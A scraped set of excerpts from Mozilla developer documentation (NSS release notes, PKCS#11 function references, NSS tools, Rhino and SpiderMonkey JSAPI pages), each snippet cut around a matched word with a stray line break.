reviously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after. bugs fixed in nss 3.26.2 the following bug has been fixed in nss 3.26.2: ignore md5 signature algorithms in certificate requests compatibility nss 3.26.2 shared libraries are backward compatible with all older nss 3.
NSS 3.27.1 release notes
la.org/pub/mozilla.org/security/nss/releases/nss_3_27_1_rtm/src/ new in nss 3.27.1 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27. notable changes in nss 3.27.1 availability of the tls 1.3 (draft) implementation has been re-disabled in the default build. p
revious versions of nss made tls 1.3 (draft) available only when compiled with nss_enable_tls_1_3. nss 3.27 set this value on by default, allowing tls 1.3 (draft) to be disabled using nss_disable_tls_1_3, although the maximum version used by default remained tls 1.2. however, some applications query the list of protocol versions that are supported by the nss library, enabling all supported tls proto...
NSS 3.27.2 Release Notes
release to address a memory leak in the ssl_settrustanchors() function. notable changes in nss 3.27.2 the ssl_settrustanchors() function is used to set the distinguished names that an nss server includes in its tls certificaterequest message. if this function is not used, nss will include the distinguished names for all trust anchors installed in the database. this can be a lengthy list. p
revious versions of nss leaked the memory used to store distinguished names when ssl_settrustanchors() was used. this release fixes that error. bugs fixed in nss 3.27.2 the following bug has been fixed in nss 3.27.2: bug 1318561 - ssl_settrustanchors leaks compatibility nss 3.27.2 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss...
NSS 3.28.3 release notes
ich is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional attribute. that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has been
reverted to the original state in bug 1334108. seckeyecpublickey had been extended with a new attribute, named "encoding". if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute. with this nss release seckeyecpublickey.encoding is deprecated. nss no longer reads the attribute, and will always set it to ecpoint_undefined. ...
NSS 3.28 release notes
andard nss 3.28 build configuration, by defining nss_enable_tls_1_3=1 at build time. this will enable support for tls 1.3. please give feedback to the nss developers for any compatibility issues that you encounter in your tests. notable changes in nss 3.28 nss can no longer be compiled with support for additional elliptic curves (the nss_ecc_more_than_suite_b option, bug 1253912). this was p
reviously possible by replacing certain nss source files. nss will now detect the presence of tokens that support additional elliptic curves and enable those curves for use in tls (bug 1303648). note that this detection has a one-off performance cost, which can be avoided by using the ssl_namedgroupconfig function, to limit supported groups to those that nss provides. pkcs#11 bypass for tls is no l...
NSS 3.29.1 release notes
ich is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional attribute. that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has been
reverted to the original state in bug 1334108. seckeyecpublickey had been extended with a new attribute, named "encoding". if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute. with this nss release seckeyecpublickey.encoding is deprecated. nss no longer reads the attribute, and will always set it to ecpoint_undefined. ...
NSS 3.31 release notes
at start with pk11uri_qattr_ for query attributes defined in rfc7512. notable changes in nss 3.31 the apis that set a tls version range have been changed to trim the requested range to the overlap with a systemwide crypto policy, if configured. ssl_versionrangegetsupported can be used to query the overlap between the library's supported range of tls versions and the systemwide policy. p
reviously, ssl_versionrangeset and ssl_versionrangesetdefault returned a failure if the requested version range wasn't fully allowed by the systemwide crypto policy. they have been changed to return success, if at least one tls version overlaps between the requested range and the systemwide policy. an application may call ssl_versionrangeget and ssl_versionrangegetdefault to query the tls version ran...
NSS 3.34.1 release notes
tion information the hg tag is nss_3_34.1_rtm. nss 3.34.1 requires netscape portable runtime (nspr) 4.17, or newer. nss 3.34.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_1_rtm/src/ notable changes in nss 3.34.1 the following ca certificate was re-added. it was p
reviously removed in nss 3.34, but now re-added with only the email trust bit set. (bug 1418678) cn = certum ca, o=unizeto sp. z o.o. sha-256 fingerprint: d8:e0:fe:bc:1d:b2:e3:8d:00:94:0f:37:d2:7d:41:34:4d:99:3e:73:4b:99:d5:65:6d:97:78:d4:d8:14:36:24 removed entries from certdata.txt for actively distrusted certificates that have expired (bug 1409872). the version of ...
NSS 3.37 release notes
balls: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_37_rtm/src/ notable changes in nss 3.37 the tls 1.3 implementation was updated to draft 28. an issue where nss erroneously accepted hrr requests was resolved. this issue was found by oss fuzz. added hacl* poly1305 32-bit the code to support the npn protocol, which had already been disabled in a p
revious release, has been fully removed. nss allows servers now to register alpn handling callbacks to select a protocol. nss supports opening sql databases in read-only mode. nss now requires the sqlite apis of version 3.5.0 or newer. starting with nss version 3.31, an alternative implementation for rng seeding on the linux/unix platform was available (bug 1346735), which performed...
NSS 3.39 release notes
_getcertkeytype - query the key type associated with the given certificate. utilpars.h nssutil_addnssflagtomodulespec - a helper function for modifying the pkcs#11 module configuration. it can be used to add a single flag to the flags= section inside the spec's nss= section. notable changes in nss 3.39 the tls 1.3 implementation uses the final version number from rfc 8446. p
revious versions of nss accepted an rsa pkcs#1 v1.5 signature where the digestinfo structure was missing the null parameter. starting with version 3.39, nss requires the encoding to contain the null parameter. the tstclnt and selfserv test utilities no longer accept the -z parameter, as support for tls compression was removed in a p
revious nss version. the ca certificates list was updated to vers...
NSS 3.45 release notes
softoken bug 1554616 - add support for the elbrus lcc compiler (<=1.23) bug 1543874 - expose an external clock for ssl this adds new experimental functions: ssl_settimefunc, ssl_createantireplaycontext, ssl_setantireplaycontext, and ssl_releaseantireplaycontext. the experimental function ssl_initantireplay is removed. bug 1546477 - various changes in response to the ongoing fips
review note: the source package size has increased substantially due to the new fips test vectors. this will likely prompt follow-on work, but please accept our apologies in the meantime. certificate authority changes the following ca certificates were removed: bug 1552374 - cn = certinomis - root ca sha-256 fingerprint: 2a99f5bc1174b73cbb1d620884e01c34e51ccb3978da12...
NSS Sample Code Sample1
nss sample code 1: key generation and transport between servers. this is an example program that demonstrates how to do key generation and transport between cooperating servers. this program shows the following: rsa key pair generation naming rsa key pairs looking up a p
reviously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database. as an alternative to token symmetric keys as a way to store large numbers of symmetric keys wrapping symmetric keys using an rsa key from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for...
nss tech note6
match the softoken and freebl shared libraries . the softoken and freebl binaries won't match any nss binaries that may have been submitted to nist for validation, and thus may not be verified as being the actual fips 140 validated cryptographic module . the only way to meet this requirement is for your application never to modify the nss binaries. any offer of binary support that may have been p
reviously made to you by nss developers is null and void. if your build process modifies nss libraries in any way (for example, to strip the symbols), it should consider not doing so for the reasons cited above. if you still decide to make unsupported changes, you can allow the softoken to come up in fips 140 mode of operation by regenerating the .chk files yourself. the tool to do that is called ...
Overview of NSS
required for debugging, diagnostics, certificate and key management, cryptography module management, and other development tasks. nss comes with an extensive and growing set of documentation, including introductory material, api references, man pages for command-line tools, and sample code. nss is available as source and shared (dynamic) libraries. every nss release is backward compatible with p
revious releases, allowing nss users to upgrade to the new nss shared libraries without recompiling or relinking their applications. open-source licensing and distribution nss is available under the mozilla public license, version 2. the latest source code is available for free worldwide from https://www.mozilla.org and its mirror sites. ...
FC_Decrypt
parameters hsession [in] session handle. pencrypteddata [in] pointer to encrypted data block. usencrypteddatalen [in] length of the data in bytes. pdata [out] pointer to location where recovered data is to be stored. pusdatalen [in,out] pointer to location where the length of recovered data is to be stored. description fc_decrypt decrypts a block of data according to the attributes of the p
revious call to fc_decryptinit. a user must log into the token (to assume the nss user role) before calling fc_decrypt. return value examples see also fc_decryptinit, nsc_decrypt ...
FC_DecryptUpdate
handle. pencryptedpart [in] pointer to the next block of data to be decrypted. usencryptedpartlen [in] length of data block in bytes. ppart [out] pointer to location where recovered block is to be stored. puspartlen [in,out] pointer the location where the number of bytes of recovered data is to be stored. description fc_decryptupdate decrypts a block of data according to the attributes of the p
revious call to fc_decryptinit. the block may be part of a multi-part decryption operation. a user must log into the token (to assume the nss user role) before calling fc_decryptupdate. return value examples see also fc_decryptinit, nsc_decryptupdate ...
FC_Digest
data [in] pointer to data block. usdatalen [in] length of the data in bytes. pdigest [out] pointer to location where recovered data is to be stored. pusdigestlen [in, out] pointer to the maximum size of the output buffer, replaced by the length of the message digest if the operation is successful. description fc_digest digests a message in a single operation according to the attributes of the p
revious call to fc_digestinit. a user may call fc_digest without logging into the token (to assume the nss user role). return value examples see also fc_digestinit, nsc_digest ...
FC_Encrypt
pencrypteddata, ck_ulong_ptr pusencrypteddatalen ); parameters hsession [in] session handle. pdata [in] pointer to the data buffer usdatalen [in] length of the data buffer in bytes. pencrypteddata [out] pointer to location where encrypted data is to be stored. pusencrypteddatalen [in/out] number of bytes. description fc_encrypt encrypts a block of data according to the attributes of the p
revious call to fc_encryptinit. a user must log into the token (to assume the nss user role) before calling fc_encrypt. return value examples see also fc_encryptinit, nsc_encrypt ...
FC_EncryptUpdate
n handle. ppart [in] pointer to the next block of data to be encrypted. uspartlen [in] length of data block in bytes. pencryptedpart [out] pointer to location where encrypted block is to be stored. pusencryptedpartalen [out] pointer the location where the number of bytes of encrypted data is to be stored. description fc_encryptupdate encrypts a block of data according to the attributes of the p
revious call to fc_encryptinit. the block may be part of a multi-part encryption operation. a user must log into the token (to assume the nss user role) before calling fc_encryptupdate. return value examples see also fc_encryptinit, nsc_encryptupdate ...
FC_FindObjects
unt, ck_ulong_ptr pusobjectcount ); parameters hsession [in] session handle. ptemplate [out] pointer to location to receive the object handles. usmaxobjectcount [in] maximum number of handles to retrieve. pusobjectcount [out] pointer to location to receive the number of returned handles. description fc_findobjects returns the next set of object handles matching the criteria set up by the p
revious call to fc_findobjectsinit and sets the object count variable to their number or to zero if there are none. return value examples see also fc_findobjectsinit, nsc_findobjects ...
FC_GetTokenInfo
ckf_token_initialized (0x00000400): the token has been initialized. if login is required (which is true for the fips mode of operation), this flag means the user's password has been initialized. ulsessioncount: number of sessions that this application currently has open with the token ulrwsessioncount: number of read/write sessions that this application currently has open with the token hardwa
reversion: hardware version number, for example, 8.3 (major=0x08, minor=0x03), which are the version numbers of the certificate and key databases, respectively. firmwa
reversion: firmware version number, 0.0 (major=0x00, minor=0x00). a user may call fc_gettokeninfo without logging into the token (to assume the nss user role). return value ckr_ok token information was successfully copied. ckr_c...
FC_Sign
. pdata [in] pointer to data block. usdatalen [in] length of the data in bytes. psignature [out] pointer to location where recovered data is to be stored. pussignaturelen [in, out] pointer to the maximum size of the output buffer, replaced by the length of the signature if the operation is successful. description fc_sign signs a message in a single operation according to the attributes of the p
revious call to fc_signinit. a user must log into the token (to assume the nss user role) before calling fc_sign. return value examples see also fc_signinit, nsc_sign ...
NSS_Initialize
ll c_finalize on any pkcs#11 module. this may be necessary in order to ensure continuous operation and proper shutdown sequence if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, java sunpkcs11 provider. the following limitation applies when this is set : secmod_waitforanytokenevent will not use c_waitforslotevent, in order to p
revent the need for c_finalize. this call will be emulated instead. nss_init_reserved - currently has no effect, but may be used in the future to trigger better cooperation between pkcs#11 modules used by both nss and the java sunpkcs11 provider. this should occur after a new flag is defined for c_initialize by the pkcs#11 working group. nss_init_cooperate - sets the above four recommended options fo...
NSS tools : pk12util
gorithm can be found, the tool returns the error no security module can perform the requested operation. nss database types nss originally used berkeleydb databases to store security information. the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. in 2009, nss introduced a new set of databases that are sqlite databases r...
NSS tools : ssltab
x000004) ssl3/rsa/rc4-128/md5 (0x00ffe0) ssl3/rsa-fips/3des192ede-cbc/sha (0x00000a) ssl3/rsa/3des192ede-cbc/sha (0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using the def...
NSS tools : ssltap
x000004) ssl3/rsa/rc4-128/md5 (0x00ffe0) ssl3/rsa-fips/3des192ede-cbc/sha (0x00000a) ssl3/rsa/3des192ede-cbc/sha (0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using the def...
troubleshoot.html
ell invoked by gmake, shmsdos.exe, is likely to crash when invoking some java tools on windows. the current workaround is to use some other shell in place of shmsdos, such as sh.exe, which should be distributed with the cygnus toolkit you installed to build nss. the change is unfortunately rather drastic: to trick gmake, you rename the shell program. cd c:/programs/cygnus/bin (or whe
rever your gnu tools are installed) cp shmsdos.exe shmsdos.bak (backup shmsdos) cp sh.exe shmsdos.exe (substitute alternative shell) making this change will probably break other builds you are making on the same machine. you may need to switch the shell back and forthdepending on which product you are building. we will try to provide a moreconvenient solution in th...
OLD SSL Reference
callback ssl communication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by callbacks ssl_peercertificate ssl_
revealurl ssl_
revealpinarg ssl handshake functions ssl_forcehandshake ssl_rehandshake ssl_resethandshake nss shutdown function nss_shutdown deprecated functions ssl_enabledefault...
ssltyp.html
pes defined by nspr and described in the nspr reference. <a name="> many of the structures presented here (certcertdbhandle, certcertificate, pk11slotinfo, and seckeyprivatekey) are opaque--that is, they are types defined as structures (for example, certcertdbhandlestr) that may change in future releases of network security services. as long as you use the form shown here, your code will not need
revision. certcertdbhandle an opaque handle structure for open certificate databases. syntax #include <certt.h> typedef struct certcertdbhandlestr certcertdbhandle; certcertificate an opaque x.509 certificate object. syntax #include <certt.h> typedef struct certcertificatestr certcertificate; description certificate structures are shared objects. when an application makes a copy of...
SSL functions
m mxr 3.2 and later ssl_preencryptedstreamtofile mxr 3.2 and later ssl_rehandshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_
revealcert mxr 3.2 and later ssl_
revealpinarg mxr 3.2 and later ssl_
revealurl mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_seturl mxr 3.2 and later ss...
TLS Cipher Suite Discovery
suites at all times. an implementation that claimed to offer all defined cipher suites would only be able to make that claim for a short time until another new cipher suite was defined. at any time, any real implementation implements some subset of the complete set of well-defined cipher suites. each new release of a tls implementation may contain support for new cipher suites not supported in p
revious versions. when a new version of a tls implementation is made available for use by applications, those applications may wish to immediately use the newly supported cipher suites found in the new version, without the application needing to be modified and re-released to know about these new cipher suites. to that end, nss's libssl offers a way for applications to discover at run time the set of...
NSS Tools
nate platform dependencies with getopt()). tools information tool description links certutil 2.0 manage certificate and key databases (cert7.db and key3.db). source, documentation, tasks/plans cmsutil 1.0 performs basic cms operations such as encrypting, decrypting, and signing messages. source, documentation crlutil manage certificate
revocation lists (crls). source, documentation, dbck 1.0 analyze and repair certificate databases (not working in nss 3.2) source, tasks/plans modutil 1.1 manage the database of pkcs11 modules (secmod.db). add modules and modify the properties of existing modules (such as whether a module is the default provider of some crypto service). source, documentation, tasks/...
NSS Tools ssltap
/rsa/3des192ede-cbc/sha (0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db0xcfe9 }}]<additional records in same formats>server socket closed. usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using the de...
NSS tools : modutil
the current platform. if this attribute is omitted, a default of 777 is assumed. nss database types nss originally used berkeleydb databases to store security information. the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. in 2009, nss introduced a new set of databases that are sqlite...
NSS tools : pk12util
e tool returns the error no security module can perform the requested operation. nss database types nss originally used berkeleydb databases to store security information. the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. in 2009, nss introduced a new set of databases that are sqlite...
NSS tools : ssltap
(0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you a...
Necko walkthrough
:oninputreadable so now the response is hitting the other end of the pipe, saying it has bytes to read nspipeevents::notifyinputready puts the callback object into an nspipeevents object. once this object goes out of scope, mcallback->oninputstreamready is called. note: this callback may be a proxy object, nsinputstreamreadyevent: it is a runnable that dispatches itself to a p
reviously set target thread, and calls its internal mcallback->oninputstreamready function. remember that nspipeinputstream::asyncwait was called earlier, after the transaction was initially created and posted to the connection manager on the socket thread. and in that function it created a proxy callback because it wished to have oninputstreamready called on the main thread. back on the main t...
Personal Security Manager (PSM)
personal security manager (psm) consists of a set of libraries that perform cryptographic operations on behalf of a client application. these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and
revocation), and other common pki functions. notes: psm always builds with firefox now, so there aren't separate build instructions. archived information about psm ...
Installing Pork
d i hope i've got it right. first i built gcc in a separate --prefix=/builds/gcc-3.4.6-installed. note: once you do this, you can only use this version of gcc in -m32 mode. apply this patch: note: this doesn't seem necessary in the latest version; cppflags is already an argument. ...
Pork Tool Development
test, generate the file with "gcc -e -wp,-w0,-k rename_class.cpp > rename_class.cc" and run the renamer with "../renamer -rename foo bar rename_class.cc". for terminology, suppose "my_foo" --> "foo". then any post-location variables refer to "foo" and pre-location variables refer to "my_foo". cppsourceloc wraps sourceloc, providing information about macro expansion. cppsourceloc will change the p
reviously provided location information (in variable cpp_source_loc._loc) from post-location to pre-location. all values from the ast refer to the post-location. notes the #static channel on irc.mozilla.org is for discussion of pork, dehydra, and other static analysis tools. ...
Download Rhino
tes rhino1.7.9.zip rhino 1.7.10 2018-04-09 release notes rhino1.7.10.zip rhino 1.7.11 2019-05-30 release notes rhino1.7.11.zip rhino 1.7.12 2020-01-13 release notes rhino1.7.12.zip to download older rhino versions, see the rhino downloads archive. license rhino is open source. as of release 1.7r4 rhino is available under mpl 2.0. p
revious versions were released under mpl 1.1/gpl 2.0 license. see rhino license for further information. source in addition to getting the source from the zip files above, the source code for rhino can be found in github at https://github.com/mozilla/rhino. to get the source, use the command git clone https://github.com/mozilla/rhino.git rhino uses gradle as its build system. running the ./gra...
Rhino optimization
re allocated to java vm registers. function call targets are speculatively pre-cached (based on the name used in the source) so that dispatching can be direct, pending runtime confirmation of the actual target. arguments are passed as object/number pairs to reduce conversion overhead. note some language features (indirect calls to eval, use of the arguments property of function objects) were p
reviously not supported in higher optimization levels. these features have been removed from the language in ecma, so higher optimization levels are now conformant. future versions may allocate more aggressive optimizations to higher optimization levels. for compatibility with future versions, use level 1. for maximal optimization, use level 9, but retest your application when upgrading to new versi...
Rhino overview
ins a chapter on rhino. deprecated language features several language features introduced in javascript 1.2 are now deprecated. these features allow "computational reflection": that is, the ability for a script to determine and influence aspects of the way it is evaluated. these features are generally not broadly useful, yet they impose significant constraints on implementations that hamper or p
revent optimization. the deprecated features are the __proto__ and __parent__ properties, and the constructors with, closure, and call. attempts to invoke these constructors with the language version 1.4 will result in an error. for other versions, a warning will be generated. internationalization the messages reported by the javascript engine are by default retrieved from the property file org/moz...
Performance Hints
you're probably better off explicitly accessing any properties of the object. ...
Rhino serialization
ethod of scriptableoutputstream to add new names. by default, scriptableoutputstream excludes all the names defined using context.initstandardobjects. if you are using rhino serialization in an environment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype"); this code will p
revent foo and foo.prototype from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization. exceptions will be thrown if foo or foo.prototype cannot be found the scopes used in either scriptableoutputstream or scriptableinputstream. rhino serialization in compilation mode serialization works well with objects and with funct...
Rhino shell
ent returns the current environment object. history displays the shell command history. help() executing the help function will print usage and help messages. defineclass(classname) define an extension using the java class named with the string argument classname. uses scriptableobject.defineclass() to define the extension. deserialize(filename) restore from the specified file an object p
reviously written by a call to serialize. gc() runs the garbage collector. load([filename, ...]) load javascript source files named by string arguments. if multiple arguments are given, each file is read in and executed in turn. loadclass(classname) load and execute the class named by the string argument classname. the class must be a class that implements the script interface, as will any scri...
SpiderMonkey compartments
with compartments, garbage collection can run per compartment. this can result in significant performance improvements in some applications. ...
GCIntegration - SpiderMonkey Redirect 1
t b is already marked, as in the leftmost frame, while objects a and c have not been marked yet. in the middle frame some code creates a pointer from b to c and destroys the pointer from a to c. in the last frame, a gets marked by the gc. the problem is that c is never marked even though it's reachable. this will likely lead to a crash if c is accessed via b. write barriers all the schemes for p
reventing this sort of thing require write barriers. every time a pointer is updated, a small amount of code runs that may mark one of the objects involved in the update. this only happens if an incremental gc is in progress. spidermonkey uses a simple barrier commonly called a "snapshot at the beginning" barrier. the fundamental invariant that this barrier guarantees is that any object reachable whe...
Garbage collection
rier above, but cannot use the same solution. by definition, a weak reference should not hold a target live by itself. that means that we can't trace weak references when we encounter them during gc graph traversal. instead, we append them to a list. after marking everything live we scan through the list to null out references to garbage. but this also means that pre-barriers are inadequate to p
revent incremental gc from missing edges due to graph mutation. live cells will be marked either because they're reachable or because they were marked by a pre-barrier before being removed from the graph. but reachable weak references aren't traced! so you could read one out and write it behind the frontier and no pre-barriered removal will mark it (it's not being removed, just read). so we barrier t...
Invariants
jsobjects and heap-allocated jsstrings must be 8-byte-aligned. (the jsval encoding depends on this.) the jsstackframe::down chain never forms a cycle. (it's a stack. but note that a stack frame is not necessarily newer than the next stack frame down, thanks to generators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never forms a cycle. (we can probably loop fo
rever if that happens. js_setparent can violate this, if the application is really that dumb, but generally every object is newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object. (if it is a script function, global names accessed in that function would refer to a different global object. even if the function is native, there is s...
Tracing JIT
es native code. therefore an assembler contains several machine-specific methods which are implemented in the accompanying nanojit/native*.* files. an assembler runs in a single pass over its input, transforming one lins value to zero or more nins values. it is important to keep in mind that this pass runs backwards from the last lins in the input lir code to the first, generating native code in
reverse. running backwards sometimes makes the logic difficult to follow, but it is an essential factor in maintaining the assembler's high speed and small size. in the spidermonkey tracing jit there is only ever one assembler active at a time, associated with the currently active fragmento. nanojit/regalloc.* nanojit's register allocator. this is a local register allocator, meaning that it does n...
Self-hosted builtins in SpiderMonkey
osted code. so instead of receiver.fun(arg1, ..., argn) you have to use callfunction(fun, receiver, arg1, ... argn). this restriction was added because otherwise it's extremely easy to accidentally call methods that have been changed by content, changing the behavior from what was expected. if the fun can potentially be a content-provided function, callcontentfunction has to be used. this is to p
revent accidentally calling content functions when assuming that content can't interfere with behavior. e.g., if receiver is an object that content has access to, then callfunction(receiver.fun, receiver) wouldn't be guaranteed to work, because content might have changed the value of receiver.fun, so callcontentfunction(receiver.fun, receiver) has to be used. self-hosted functions by default are not...
Introduction to the JavaScript shell
parameter name to value. for more information, see the c/c++ functions js_getgcparameter and js_setgcparameter. gczeal(level) added in spidermonkey 1.8 debug only. set the level of gc zeal, a debugging feature. this can be 0 for normal periodic garbage collection, 1 for very frequent gc, or 2 for extremely frequent gc. anything other than 0 will make javascript run extremely slow but may help
reveal or reproduce gc-related bugs. for more information, see the c/c++ version of this function, js_setgczeal. getpda(object) returns the property descriptors for the specified object. getslx(object) returns the script line extent, which is the number of lines of code comprising the specified object. help([command ...]) displays brief help information about the specified commands, or about al...
JIT Optimization Strategies
strictive to the least optimized but least restrictive. for each strategy attempted, its outcome is tracked. an outcome is either success or a reason why the strategy failed to apply. this page documents the various optimization strategies and their outcomes. it provides information on what they attempt to do, what general level of speed-up they provide, what kind of program characteristics can p
revent them from being used, and common ways to enable the engine to utilize that optimization. getproperty getproperty_argumentslength attempts to optimize an arguments.length property access. this optimization only works if the arguments object is used in well-understood ways within the function. the function containing the arguments.length is allowed to use the arguments object in the following...
JSAPI User Guide
custom objects below. each time the application runs a js script (using, for example, js_evaluatescript), it provides the global object for that script to use. as the script runs, it can create global functions and variables of its own. all of these functions, classes, and variables are stored as properties of the global object. a minimal example each of the three key elements described in the p
revious section requires a few jsapi calls: the runtime: use js_newruntime to create it and js_destroyruntime to clean it up when you're done. when your application is done with spidermonkey altogether, use js_shutdown to free any remaining cached resources. (this is a mere nicety if the process is about to exit anyway. but as that is not always the case, calling js_shutdown is a good habit to ...
JS::OrdinaryToPrimitive
er must be in a request on this jscontext. obj js::handleobject the object to convert. type jstype the type of converted value. vp js::mutablehandlevalue out parameter. on success, *vp receives the converted value. description js::ordinarytoprimitive converts a javascript object to a specified type value, by the algorithm specified in es6 draft
rev 28 (2014 oct 14) 7.1.1, second algorithm. most users should not call this -- use js::tonumber, js::toboolean, or js::tostring instead. this should only be called from custom convert hooks. it implements the default conversion behavior shared by most objects in js, so it's useful as a fallback. on success, js::ordinarytoprimitive stores the converted value in *vp and returns true. on error or ex...
JS::ToString
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v js::handlevalue the value to convert. description js::tostring returns a string representation of a javascript value. ...
JSVAL_UNLOCK
l work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. unlocks a js value, enabling garbage collection on it. syntax jsval_unlock(cx,v) description jsval_unlock is a deprecated feature that is supported only for backward compatibility with existing applications. to unlock a value, use local roots with js_removeroot. jsval_unlock unlocks a p
reviously locked js value, v, so it can be garbage collected. v is a js object, string, or double value. jsval_unlock determines if v is an object, string, or double value, and if it is, it unlocks the value. if unlocking is successful, or v not affected by garbage collection because it is not an object, string, or double value, jsval_unlock evaluates to true. otherwise, it evaluates to false. see al...
JS_AddExternalStringFinalizer
description cx jscontext * pointer to a jscontext which the finalizer may use for certain very limited operations (not documented). since the jsstringfinalizeop callback is called during garbage collection, it must avoid most jsapi functions. (is cx guaranteed to be non-null?) str jsstring * the string being finalized. this is always a string that the application p
reviously created by calling js_newexternalstring. the callback may use js_getstringchars(str) to get a pointer to the character buffer, which is the pointer which the application passed to js_newexternalstring() when creating the string. it is the callback's responsibility to free the memory. after this callback, the js engine will not use that memory anymore and will not keep a pointer to it. t...
JS_AddFinalizeCallback
is point. jsfinalize_collection_end called at the end of collection when everything has been swept. description js_addfinalizecallback add a callback function which the garbage collector calls at several points during garbage collection. rt is the runtime in which you specify the callback. cb is a pointer to the callback function to add. js_removefinalizecallback removes the p
reviously added callback function. obsolete since jsapi 32 js_setfinalizecallback sets a new callback function. it was replaced with js_addfinalizecallback, to allow adding multiple callback functions. see also mxr id search for js_addfinalizecallback mxr id search for js_removefinalizecallback mxr id search for jsfinalizestatus mxr id search for jsfinalize_group_start mxr id search for j...
JS_ClearContextThread
(cx); /* note: outside the request */ js_beginrequest(cx); ... js_endrequest(cx); js_clearcontextthread(cx); /* note: outside the request */ } js_setcontextthread ties cx to the current thread for exclusive use. no other thread may use cx until the current thread removes this association by calling js_clearcontextthread. js_setcontextthread returns the thread id of the thread p
reviously associated with this context. when the function is used properly, the return value is always zero, indicating that no thread was p
reviously associated with the context. js_clearcontextthread relinquishes the calling thread's right to use cx. it returns the thread id of the last thread to be associated with this context. (this is always the current thread id when the function is used proper...
JS_DestroyRuntime
frees a javascript runtime. syntax void js_destroyruntime(jsruntime *rt); name type description rt jsruntime * the runtime to destroy. description js_destroyruntime frees the specified the javascript runtime environment, rt. call js_destroyruntime after completing all other js api calls. js_destroyruntime garbage collects and frees the memory p
